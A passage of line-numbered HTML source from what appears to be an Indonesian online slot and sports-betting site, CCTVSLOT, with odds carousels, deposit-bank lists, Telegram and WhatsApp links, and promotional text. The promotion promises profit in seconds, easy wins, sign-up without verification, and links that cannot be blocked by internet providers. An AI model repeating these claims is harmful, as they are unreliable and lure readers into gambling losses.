src="https://cdn.sportnanoapi.com/football/team/abbb31d42c55612737713aac6567a226.png" 4014 alt="Athletic Bilbao" 4015 class="team-logo" 4016 > 4017 <div class="team-name"> 4018 Athletic Bilbao </div> 4019 </div> 4020 </div> 4021 4022 <div class="match-odds-row"> 4023 <div class="odds-col"> 4024 <sp
4024an> 4025 0.00 <small>0.98</small> 4026 </span> 4027 </div> 4028 4029 <div class="odds-spacer"></div> 4030 4031 <div class="odds-col"> 4032 <span> 4033 0.00 <small>0.92</small> 4034 </span> 4035 </div> 4036 </div> 4037 </div> 4038 </div> 4039 </div> 4040 </div> 4041 <div class="carousel-item "> 4042 <div class="row g-3"> 4043 <div class="col-12 col-md-6 col-lg-4"> 4044 <div class="match-card h-100"> 4045 <div class="league-name"> 4046 ENGLISH PREMIER LEAGUE </div> 4047 4048 <div class="kickoff-time"> 4049 October 11, 2026 â 22:30 WIB </div> 4050 4051 <div class="match-main-row"> 4052 <div class="team-col"> 4053 <img 4054 src="https://cdn.sportnanoapi.com/football/team/1cb3d08adac0e2dc1c4f10429d055bfe.png" 4055 alt="Liverpool" 4056 class="team-logo" 4057 > 4058 <div class="team-name"> 4059 Liverpool </div> 4060 </div> 4061 4062 <div class="score-col"> 4063 <div class="score-value"> 4064 0 : 0 </div> 4065 4066 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100751')"> 4067 BET NOW 4068 </a> 4069 </div> 4070 4071 <div class="team-col"> 4072 <img 4073 src="https://cdn.sportnanoapi.com/football/team/c4a6528a2ee147b99c9885ef24385a4e.png" 4074 alt="Manchester City" 4075 class="team-logo" 4076 > 4077 <div class="team-name"> 4078 Manchester City </div> 4079 </div> 4080 </div> 4081 4082 <div class="match-odds-row"> 4083 <div class="odds-col"> 4084 <sp
4084an> 4085 0.00 <small>-0.83</small> 4086 </span> 4087 </div> 4088 4089 <div class="odds-spacer"></div> 4090 4091 <div class="odds-col"> 4092 <span> 4093 0.00 <small>0.73</small> 4094 </span> 4095 </div> 4096 </div> 4097 </div> 4098 </div> 4099 </div> 4100 </div> 4101 </div> 4102 4103 <button class="carousel-control-prev" type="button" data-bs-target="#sboMatchCarouselDesktop" data-bs-slide="prev"> 4104 <span class="carousel-control-prev-icon" aria-hidden="true"></span> 4105 <span class="visually-hidden">Previous</span> 4106 </button> 4107 4108 <button class="carousel-control-next" type="button" data-bs-target="#sboMatchCarouselDesktop" data-bs-slide="next"> 4109 <span class="carousel-control-next-icon" aria-hidden="true"></span> 4110 <span class="visually-hidden">Next</span> 4111 </button> 4112 </div> 4113 </div> 4114 <!-- BANNER SBO DESKTOP END --> 4115 <!-- Banner Telegram --> 4116 4117 4118 <style> 4119 .telegram-bet-title { 4120 font-size: 1.3rem; 4121 font-weight: 800; 4122 letter-spacing: 1px; 4123 text-transform: uppercase; 4124 color: #ffffff; 4125 4126 /* NEON TELEGRAM GLOW */ 4127 text-shadow: 4128 /* inner white core */ 4129 0 0 2px rgba(255,255,255,0.9), 4130 4131 /* tight Telegram glow */ 4132 0 0 6px rgba(0,136,204,0.9), 4133 0 0 12px rgba(0,136,204,0.8), 4134 4135 /* outer neon halo */ 4136 0 0 22px rgba(0,136,204,0.6), 4137 0 0 38px rgba(0,136,204,0.45), 4138 0 0 60px rgba(0,136,204,0.3); 4139 } 4140 </style> 4141 4142 <style> 4143 .btn-telegram-neon { 4144 font-weight: 600; 4145 padding: 10px 16px; 4146 border-radius: 10px; 4147 letter-spacing: 0.3px; 4148 4149 background: #0088cc; 4150 border: none; 4151 color: #ffffff; 4152 4153 /* clean Telegram neon */ 4154 box-shadow: 4155 0 2px 6px rgba(0,136,204,0.35), 4156 0 0 10px rgba(0,136,204,0.25); 4157 4158 transition: box-shadow 0.25s ease, transform 0.2s ease; 4159 } 4160 4161 /* hover: slight lift + glow */ 4162 .btn-telegram-neon:hover { 4163 box-shadow: 4164 0 4px 10px rgba(0,136,204,0.45), 4165 0 0 16px rgba(0,136,204,0.35); 4166 transform: translateY(-1px); 4167 } 4168 4169 /* active */ 4170 .btn-telegram-neon:active { 4171 transform: translateY(0); 4172 box-shadow: 4173 0 2px 5px rgba(0,136,204,0.35); 4174 } 4175 </style> 4176 4177 <style> 4178 .telegram-float { 4179 animation: telegramFloat 3.5s ease-in-out infinite; 4180 } 4181 4182 @keyframes telegramFloat { 4183 0%, 100% { 4184 transform: translateY(0); 4185 } 4186 50% { 4187 transform: translateY(-8px); 4188 } 4189 } 4190 </style> 4191 4192 <div class="mb-lg-3" style="width: 100%; position: relative; display: flex; align-items: center"> 4193 <div style="z-index: 10; display: flex; justify-content: space-between; align-items: center; width: 100%; margin-left: 80px; margin-right: 40px"> 4194 <div class="d-flex gap-4"> 4195 <img src="https://img.viva88athenae.com//banner-telegram-icon.png" class="telegram-float"/> 4196 <div class="d-flex flex-column justify-content-center gap-1"> 4197 <strong class="telegram-bet-title">TELEGRAM BET</strong> 4198 4199 <div class="d-flex gap-3"> 4200 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Daftar</em></div> 4201 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Login</em></div> 4202 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Deposit</em></div> 4203 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Withdraw</em></div> 4204 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Bet</em></div> 4205 </div> 4206 </div> 4207 </div> 4208 4209 <button class="btn-telegram-neon rounded-pill" onclick="window.open('https://telegram.me/cctvslotcsbot', '_blank')">Mainkan Sekarang</button> 4210 4211 </div> 4212 <div style="position: absolute; width: 100%; background: gray"> 4213 <img src="https://img.viva88athenae.com//banner-telegram.jpg" /> 4214 </div> 4215 4216 </div> 4217 4218 4219 4220 <div class="transaksi-kontak"> 4221 4222 <div class="d-flex flex-column w-100"> 4223 <div class="transaksi-content"> 4224 <!-- Bank --> 4225 4226<style> 4227 /* ====== LAYOUT KESELURUHAN ====== */ 4228 4229 .transaksi-layout { 4230 display: flex; 4231 justify-content: center; 4232 gap: 16px; 4233 align-items: center; 4234 } 4235 4236 .transaksi-left-inner { 4237 width: 100%; 4238 } 4239 4240 .transaksi-left-img { 4241 width: 100%; 4242 height: auto; 4243 display: block; 4244 object-fit: cover; 4245 } 4246 4247 .transaksi-right-box { 4248 flex: 1; 4249 display: flex; 4250 justify-content: flex-start; 4251 } 4252 4253 .transaksi-group { 4254 display: flex; 4255 flex-direction: column; 4256 gap: 16px; 4257 width: 100%; 4258 grid-template-areas: 4259 "transaksi-bank transaksi-other transaksi-crypto"; 4260 } 4261 4262 .transaksi-bank { 4263 grid-area: transaksi-bank; 4264 display: grid; 4265 place-items: center; 4266 justify-content: flex-start; 4267 } 4268 4269 .transaksi-other { 4270 grid-area: transaksi-other; 4271 display: flex; 4272 justify-content: flex-start; 4273 width: 100%; 4274 } 4275 4276 .transaksi-crypto { 4277 grid-area: transaksi-crypto; 4278 display: flex; 4279 justify-content: flex-start; 4280 width: 100%; 4281 } 4282 4283 .transaksi-wrapper { 4284 display: flex; 4285 flex-direction: column; 4286 gap: .5rem; 4287 align-items: flex-start; 4288 } 4289 4290 .transaksi-name { 4291 font-size: 1.1rem; 4292 font-weight: bold; 4293 line-height: 1.5rem; 4294 } 4295 4296 /* ====== GRID LIST ====== */ 4297 4298 .transaksi-list-bank, 4299 .transaksi-list-other { 4300 height: fit-content; 4301 display: grid; 4302 grid-template-columns: repeat(5, minmax(80px, 1fr)); 4303 gap: 4px 6px; 4304 } 4305 4306 .transaksi-list-crypto { 4307 height: fit-content; 4308 display: flex; 4309 align-items: center; 4310 gap: 24px; 4311 width: 100%; 4312 justify-content: flex-start; 4313 } 4314 4315 .icon-crypto { 4316 width: 24px; 4317 height: 24px; 4318 } 4319 4320 /* ====== ITEM BANK / EMONEY ====== */ 4321 4322 .transaksi-item { 4323 display: flex; 4324 flex-direction: column; 4325 position: relative; 4326 } 4327 4328 .transaksi-header { 4329 height: 30px; 4330 border-radius: 5px; 4331 font-weight: bold; 4332 border: 2px solid rgba(108,108,108,1); 4333 background: rgba(54,54,54,1); 4334 color: white; 4335 display: flex; 4336 align-items: center; 4337 justify-content: center; 4338 padding: 0 12px 0 22px; /* extra space kiri buat dot */ 4339 font-size: 0.9rem; 4340 white-space: nowrap; 4341 } 4342 4343 /* strip bawah lama dimatikan */ 4344 .transaksi-status { 4345 display: none; 4346 } 4347 4348 /* ====== ONLINE / OFFLINE DOT ====== */ 4349 4350 /* ONLINE: tambahkan class is-online di PHP */ 4351 .transaksi-header.is-online::before { 4352 content: ""; 4353 position: absolute; 4354 left: 8px; 4355 top: 50%; 4356 transform: translateY(-50%); 4357 width: 9px; 4358 height: 9px; 4359 border-radius: 50%; 4360 background-color: #00ff66; 4361 box-shadow: 0 0 6px rgba(0, 255, 102, .85); 4362 } 4363 4364 /* OFFLINE: is-offline (lebih gelap + tanpa dot) */ 4365 .transaksi-header.is-offline { 4366 background: #2e2e2e; 4367 border-color: #555; 4368 opacity: .4; 4369 } 4370 4371 /* backup: kalau lupa kasih class di PHP, treat sebagai offline */ 4372 .transaksi-header:not(.is-online):not(.is-offline) { 4373 background: #2e2e2e; 4374 border-color: #555; 4375 opacity: .4; 4376 } 4377 4378 @media only screen and (max-width: 768px) { 4379 4380 .transaksi-layout { 4381 flex-direction: column; 4382 align-items: center; 4383 } 4384 4385 .transaksi-group { 4386 display: grid; 4387 grid-template-columns: 1fr; 4388 grid-template-areas: 4389 "transaksi-bank" 4390 "transaksi-other" 4391 "transaksi-crypto"; 4392 gap: 32px; 4393 margin-bottom: 8px; 4394 } 4395 4396 .transaksi-header { 4397 font-size: 1.1rem; 4398 height: 36px; 4399 } 4400 4401 .transaksi-list-bank { 4402 grid-template-columns: repeat(4, 1fr); 4403 } 4404 4405 .transaksi-list-other { 4406 grid-template-columns: repeat(4, 1fr); 4407 } 4408 4409 .transaksi-list-crypto { 4410 width: 86%; 4411 margin: auto; 4412 flex-wrap: wrap; 4413 } 4414 4415 .transaksi-item { 4416 width: 100%; 4417 } 4418 4419 .transaksi-name { 4420 font-size: 1.3rem; 4421 text-align: center; 4422 line-height: 1.8rem; 4423 } 4424 4425 .transaksi-wrapper { 4426 width: 100%; 4427 max-width: 100%!important; 4428 gap: 1rem; 4429 align-items: center; 4430 } 4431 4432 .icon-crypto { 4433 width: 28px; 4434 height: 28px; 4435 } 4436 } 4437 4438 /* LEBAR BOX BANK BIAR RAPI DAN CENTER */ 4439 .transaksi-header { 4440 height: 34px; 4441 border-radius: 6px; 4442 font-weight: bold; 4443 border: 2px solid rgba(108,108,108,1); 4444 background: rgba(54,54,54,1); 4445 color: white; 4446 4447 /* Tambahan baru */ 4448 min-width: 110px; /* Lebarin biar semua rata */ 4449 padding: 0 16px 0 28px; /* Kasih ruang untuk dot */ 4450 display: flex; 4451 align-items: center; 4452 justify-content: center; 4453 text-align: center; 4454 4455 white-space: nowrap; 4456 } 4457 4458 /* DOT ONLINE */ 4459 .transaksi-header.is-online::before { 4460 content: ""; 4461 position: absolute; 4462 left: 10px; 4463 top: 50%; 4464 transform: translateY(-50%); 4465 width: 10px; 4466 height: 10px; 4467 border-radius: 50%; 4468 background-color: #00ff66; 4469 box-shadow: 0 0 6px rgba(0, 255, 102, .85); 4470 } 4471 4472 /* OFFLINE (DISABLED) */ 4473 .transaksi-header.is-offline { 4474 padding: 0 16px; 4475 background: #2e2e2e; 4476 border-color: #555; 4477 opacity: .35; 4478 align-items: center; 4479 justify-content: center; 4480 text-align: center; 4481 } 4482 4483 /* GRID-nya sedikit dilebarin biar simetris */ 4484 .transaksi-list-bank, 4485 .transaksi-list-other { 4486 grid-template-columns: repeat(4, minmax(110px, 1fr)); 4487 gap: 8px 10px; 4488 } 4489 4490</style> 4491 4492<div class="transaksi-layout"> 4493 <div class="transaksi-left-box"> 4494 <div class="transaksi-left-inner"> 4495 <img src="/images/transaksi.png" class="transaksi-left-img"> 4496 </div> 4497 </div> 4498 4499 <div class="transaksi-right-box"> 4500 <div class="transaksi-group"> 4501 4502 <!-- BANK LOKAL --> 4503 <div class="transaksi-bank"> 4504 <div class="transaksi-wrapper"> 4505 <div class="transaksi-name">Bank Lokal</div> 4506 <div id="transaksi-bank-indicators" class="carousel slide" data-bs-ride="carousel"> 4507 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 4508 </div> 4509 4510 <div class="carousel-inner" > 4511 <div class="carousel-item active"> 4512 <div class="transaksi-list-bank"> 4513 <div class="transaksi-item"> 4514 <div class="transaksi-header is-online"> 4515 BCA </div> 4516 <div class="transaksi-status"></div> 4517 </div> 4518 <div class="transaksi-item"> 4519 <div class="transaksi-header is-online"> 4520 Mandiri </div> 4521 <div class="transaksi-status"></div> 4522 </div> 4523 <div class="transaksi-item"> 4524 <div class="transaksi-header is-online"> 4525 BNI </div>
4525 4526 <div class="transaksi-status"></div> 4527 </div> 4528 <div class="transaksi-item"> 4529 <div class="transaksi-header is-online"> 4530 BRI </div> 4531 <div class="transaksi-status"></div> 4532 </div> 4533 <div class="transaksi-item"> 4534 <div class="transaksi-header is-online"> 4535 CIMB </div> 4536 <div class="transaksi-status"></div> 4537 </div> 4538 <div class="transaksi-item"> 4539 <div class="transaksi-header is-online"> 4540 Danamon </div> 4541 <div class="transaksi-status"></div> 4542 </div> 4543 <div class="transaksi-item"> 4544 <div class="transaksi-header is-online"> 4545 Permata </div> 4546 <div class="transaksi-status"></div> 4547 </div> 4548 <div class="transaksi-item"> 4549 <div class="transaksi-header is-online"> 4550 BJB </div> 4551 <div class="transaksi-status"></div> 4552 </div> 4553 <div class="transaksi-item"> 4554 <div class="transaksi-header is-online"> 4555 PANIN </div> 4556 <div class="transaksi-status"></div> 4557 </div> 4558 <div class="transaksi-item"> 4559 <div class="transaksi-header is-online"> 4560 OCBC </div> 4561 <div class="transaksi-status"></div> 4562 </div> 4563 <div class="transaksi-item"> 4564 <div class="transaksi-header is-online"> 4565 DKI </div> 4566 <div class="transaksi-status"></div> 4567 </div> 4568 <div class="transaksi-item"> 4569 <div class="transaksi-header is-online"> 4570 SUMUT </div> 4571 <div class="transaksi-status"></div> 4572 </div> 4573 <div class="transaksi-item"> 4574 <div class="transaksi-header is-online"> 4575 BSI </div> 4576 <div class="transaksi-status"></div> 4577 </div> 4578 </div> 4579 </div> 4580 </div> 4581 </div> 4582 4583 </div> 4584 </div> 4585 4586 <!-- E MONEY & PULSA --> 4587 <div class="transaksi-other"> 4588 <div class="transaksi-wrapper"> 4589 <div class="transaksi-name">E Money & Pulsa</div> 4590 4591 <div id="transaksi-other-indicators" class="carousel slide" data-bs-ride="carousel"> 4592 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 4593 </div> 4594 4595 <div class="carousel-inner" > 4596 <div class="carousel-item active"> 4597 <div class="transaksi-list-other"> 4598 <div class="transaksi-item"> 4599 <div class="transaksi-header is-online"> 4600 Jenius </div> 4601 <div class="transaksi-status"></div> 4602 </div> 4603 <div class="transaksi-item"> 4604 <div class="transaksi-header is-online"> 4605 DANA </div> 4606 <div class="transaksi-status"></div> 4607 </div> 4608 <div class="transaksi-item"> 4609 <div class="transaksi-header is-online"> 4610 OVO </div> 4611 <div class="transaksi-status"></div> 4612 </div> 4613 <div class="transaksi-item"> 4614 <div class="transaksi-header is-online"> 4615 ShopeePay </div> 4616 <div class="transaksi-status"></div> 4617 </div> 4618 <div class="transaksi-item"> 4619 <div class="transaksi-header is-online"> 4620 GOPAY </div> 4621 <div class="transaksi-status"></div> 4622 </div> 4623 <div class="transaksi-item"> 4624 <div class="transaksi-header is-online"> 4625 LinkAja </div> 4626 <div class="transaksi-status"></div> 4627 </div> 4628 <div class="transaksi-item"> 4629 <div class="transaksi-header is-online"> 4630 Lain-lain </div> 4631 <div class="transaksi-status"></div> 4632 </div> 4633 <div class="transaksi-item"> 4634 <div class="transaksi-header is-online"> 4635 AntarBank </div> 4636 <div class="transaksi-status"></div> 4637 </div> 4638 <div class="transaksi-item"> 4639 <div class="transaksi-header is-online"> 4640 Telkomsel </div> 4641 <div class="transaksi-status"></div> 4642 </div> 4643 <div class="transaksi-item"> 4644 <div class="transaksi-header is-online"> 4645 Axiata </div> 4646 <div class="transaksi-status"></div> 4647 </div> 4648 </div> 4649 </div> 4650 </div> 4651 </div> 4652 4653 </div> 4654 </div> 4655 4656 <!-- CRYPTO --> 4657 <div class="transaksi-crypto"> 4658 <div class="transaksi-wrapper"> 4659 4660 <div id="transaksi-crypto-indicators" class="carousel slide" data-bs-ride="carousel"> 4661 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 4662 </div> 4663 4664 <div class="carousel-inner" > 4665 </div> 4666 4667 </div> 4668 </div> 4669 </div> 4670 4671 </div> 4672 </div> 4673</div> 4674 </div> 4675 4676 4677 </div> 4678 4679 <!--<div class="d-flex flex-column desktop-only" style="width: 180px">--> 4680 4681 <!-- <div class="transaksi-title">--> 4682 <!-- <div class="transaksi-title-group">--> 4683 <!-- <div class="fitur-header">Kontak Kami</div>--> 4684 <!-- </div>--> 4685 4686 <!-- <div class="devider desktop-only"></div>--> 4687 <!-- </div>--> 4688 4689 4690 <!-- 4691<div id="kontak-kami-indicators" class="carousel slide" data-bs-ride="carousel" style="padding-top: 14px"> 4692 <div class="carousel-indicators" style="bottom: -33px; margin-bottom: 0px"> 4693 4694 4695 </div> 4696 <div class="carousel-inner" style="height: 164px"> 4697 <div class="carousel-item active"> 4698 <div> 4699 4700 4701 4702 <div style="display: flex; align-items: center; gap: 8px; margin-bottom: 12px"> 4703 <img src="https://img.viva88athenae.com/kontak/whatsapp.png" width="20"/> 4704 4705 <a class="d-flex flex-column" href="https://wa.me/+62 82121929648" target='_blank'> 4706 <div style="color: #888888;">WHATSAPP</div> 4707 <div style="line-height: .9rem; color: var(--primary-text-color)">WhatsApp Official</div> 4708 </a> 4709 4710 4711 </div> 4712 4713 4714 </div> 4715 </div> 4716 4717 4718 4719 </div> 4720</div> 4721--> 4722 4723 <!--</div>--> 4724 </div> 4725 </div> 4726 </div> 4727 4728 4729 <div class="bantuan"> 4730 4731 <ul class="bantuan-content justify-content-center"> 4732 <li class="bantuan-item" onclick="showInformasi('tentang')">TENTANG KAMI</li> 4733 <div class="bantuan-devider desktop-only">|</div> 4734 <li class="bantuan-item" onclick="showInformasi('bantuan')">BANTUAN</li> 4735 <div class="bantuan-devider desktop-only">|</div> 4736 <li class="bantuan-item" onclick="showInformasi('peraturan')">PERATURAN</li> 4737 <div class="bantuan-devider desktop-only">|</div> 4738 <li class="bantuan-item" onclick="showInformasi('bank')">INFORMASI BANK</li> 4739 <div class="bantuan-devider desktop-only">|</div> 4740 <li class="bantuan-item" onclick="showInformasi('hubungi')">HUBUNGI KAMI</li> 4741 <div class="bantuan-devider desktop-only">|</div> 4742 <li class="bantuan-item" onclick="showInformasi('privasi')">KEBIJAKAN PRIVASI</li> 4743 <div class="bantuan-devider desktop-only">|</div> 4744 <li class="bantuan-item" onclick="showInformasi('cookies')">PERSETUJUAN COOKIES</li> 4745 </ul> 4746 </div> 4747 4748 4749 <footer class="footer"> 4750 4751 <div class="guidelines"> 4752 <div class="desktop-only"> 4753 <div class="guidelines-content d-flex justify-content-center"> 4754 <img src="https://img.viva88athenae.com/assets/guidelines_w.png" style="width: 640px" /> 4755 </div> 4756 </div> 4757 </div> 4758 4759 <div class="provider d-none d-lg-block"> 4760 <div class="provider-group"> 4761 <img src="https://img.viva88athenae.com/assets/provider_w.png" class="desktop-only" alt=""> 4762 </div> 4763 </div> 4764 4765 <div> 4766 <div style="position: fixed; bottom: 280px; left: 10px; z-index: 15; opacity: 0.98;"> 4767 <a href="https://kasihmasuk.space/apkcctvslot" target="_blank" rel="noopener"> 4768 <img class="wabutton" src="https://img-zone.b-cdn.net/icon/apk.gif" alt="CCTVSLOT apk" width="60" height="60"> 4769 </a> 4770 </div> 4771 4772 <div style="position: fixed; bottom: 210px; left: 10px; z-index: 15; opacity: 0.98;"> 4773 <a href="https://kasihmasuk.space/masukcctvslot" target="_blank" rel="noopener"> 4774 <img class="wabutton" src="https://img-zone.b-cdn.net/icon/telegram.gif" alt="CCTVSLOT telegram" width="60" height="60"> 4775 </a> 4776 </div> 4777 4778 <div style="position: fixed; bottom: 140px; left: 10px; z-index: 15; opacity: 0.98;"> 4779 <a href="https://kasihmasuk.space/rtpcctvslot" target="_blank" rel="noopener"> 4780 <img class="wabutton" src="https
4780://img-zone.b-cdn.net/icon/rtp.gif" alt="rtp" width="60" height="60"> 4781 </a> 4782 </div> 4783 4784 <div style="position: fixed; bottom: 70px; left: 10px; z-index: 15; opacity: 0.98;"> 4785 <a href="https://kasihmasuk.space/wacctvslot" target="_blank" rel="noopener"> 4786 <img class="wabutton" src="https://img-zone.b-cdn.net/icon/whatsapp.gif" alt="wa CCTVSLOT" width="60" height="60"> 4787 </a> 4788 </div> 4789 4790 <h1 style="margin-left:0px;"> 4791 CCTVSLOT: Hadirkan Solusi Slot Modal Receh Hasil Melimpah 4792 </h1> 4793 <p style="margin-left:0px;"> 4794 CCTVSLOT muncul sebagai jawaban bagi para pemain <a target="_blank" rel="noopener noreferrer" href="https://cctvslotwin1.com/">slot</a> menemukan platform yang tidak hanya menawarkan keseruan tetapi juga keamanan dan aksesibilitas adalah prioritas utama. 4795 </p> 4796 <p style="margin-left:0px;"> 4797 Dalam industri gaming online yang sangat kompetitif <a target="_blank" rel="noopener noreferrer" href="https://cctvslotwin1.com/">CCTVSLOT</a> berhasil membedakan diri sebagai platform yang tidak hanya mengandalkan keberuntungan, tetapi juga didukung oleh sistem yang dirancang untuk kemenangan cepat. 4798 </p> 4799 <h2 style="margin-left:0px;"> 4800 Mengapa Memilih CCTVSLOT sebagai Tempat Bermain Utama? 4801 </h2> 4802 <p style="margin-left:0px;"> 4803 Seputar CCTVSLOT info: 4804 </p> 4805 <p> 4806 <strong>1. Kecepatan Profit dalam Hitungan Detik</strong> 4807 </p> 4808 <p style="margin-left:0px;"> 4809 Berbeda dengan platform lain yang memerlukan waktu lama untuk mencapai fase kemenangan, CCTVSLOT menggunakan mesin dengan algoritma High-Frequency Payout. Ini memungkinkan simbol-simbol kemenangan muncul lebih sering dalam durasi permainan yang singkat.</a> 4810 </p> 4811 <p> 4812 <strong>2. Akreditasi "Link Daftar Paling Mudah"</strong> 4813 </p> 4814 <p style="margin-left:0px;"> 4815 Kami memangkas birokrasi pendaftaran yang rumit. Di CCTVSLOT, Anda hanya memerlukan satu formulir sederhana untuk mendapatkan akses penuh.Tidak ada verifikasi yang berbelit-belit yang menghalangi Anda untuk segera bermain. 4816 </p> 4817 <p> 4818 <strong>3. Sistem "Instant Luck" (Mudah Untung)</strong> 4819 </p> 4820 <p style="margin-left:0px;"> 4821 Topik "Mudah Untung" di CCTVSLOT didasarkan pada nilai RTP (Return to Player) yang konsisten di atas 97%. Kami bekerja sama dengan provider global yang telah tersertifikasi untuk memastikan bahwa peluang kemenangan bukan sekadar janji, melainkan statistik yang bisa dibuktikan sendiri oleh para member saat mulai bermain. 4822 </p> 4823 <p> 4824 <strong>4. Transaksi Secepat Kilat (Deposit & WD)</strong> 4825 </p> 4826 <p style="margin-left:0px;"> 4827 Sesuai dengan slogan "Hitungan Detik", keunggulan utama kami terletak pada sistem manajemen dana. 4828 4829Deposit: Masuk ke saldo akun dalam hitungan detik setelah transfer. 4830 4831Withdraw: Kemenangan Anda akan diproses tanpa penundaan, memastikan uang Anda kembali ke rekening secepat Anda meraih kemenangan di dalam game. 4832 </p> 4833 <p> 4834 <strong>5. Akses Anti-Blokir & Link Stabil</strong> 4835 </p> 4836 <p style="margin-left:0px;"> 4837 CCTVSLOT adalah "Satu-satunya Link" yang memiliki infrastruktur Smart-Routing. Artinya, link pendaftaran kami akan selalu aktif dan tidak bisa diblokir oleh provider internet mana pun. 4838 </p> 4839 4840 <a href="https://cctvslotwin1.com/"><strong>CCTVSLOT</strong></a> 4841 4842
4842<script src="https://img-zone.b-cdn.net/icon/cctvslot/wd.js"></script>
4842 4843 <!--Custom Css--> 4844 <style> 4845 .anakayam{ 4846 display:none 4847 } 4848 @media screen and (max-width: 768px){ 4849 .CCTVSLOT-mobile { 4850 width: 100%; 4851 display: block; 4852 color: #ffffff; 4853 text-shadow: 0px 1px #000000; 4854 margin: auto; 4855 margin-top: 3px; 4856 text-align: center; 4857 padding: 10px 0px; 4858 font-size: 15px; 4859 font-weight: bold; 4860 border-radius: 5px; 4861 border: 5px outset white; 4862 animation: needmoney 1.5s infinite; 4863 } 4864 .anakayam{ 4865 width: 70%; 4866 text-align: 4867 center; 4868 margin-right: 80px; 4869 display:block; 4870 } 4871 } 4872 @keyframes needmoney { 4873 0% { 4874 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1 ; 4875 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4876 } 4877 2.5% { 4878 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4879 background: linear-gradient(to right, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4880 } 4881 5% { 4882 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4883 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4884 } 4885 7.5% { 4886 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4887 background: linear-gradient(to right, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4888 } 4889 10% { 4890 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4891 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4892 } 4893 12.5% { 4894 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4895 background: linear-gradient(to right, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4896 } 4897 15% { 4898 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4899 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4900 } 4901 17.5% { 4902 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4903 background: linear-gradient(to right, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4904 } 4905 20% { 4906 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4907 background: linear-gradient(to right, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4908 } 4909 22.5% { 4910 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4911 background: linear-gradient(to right, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4912 } 4913 25% { 4914 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4915 background: linear-gradient(to right, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01);
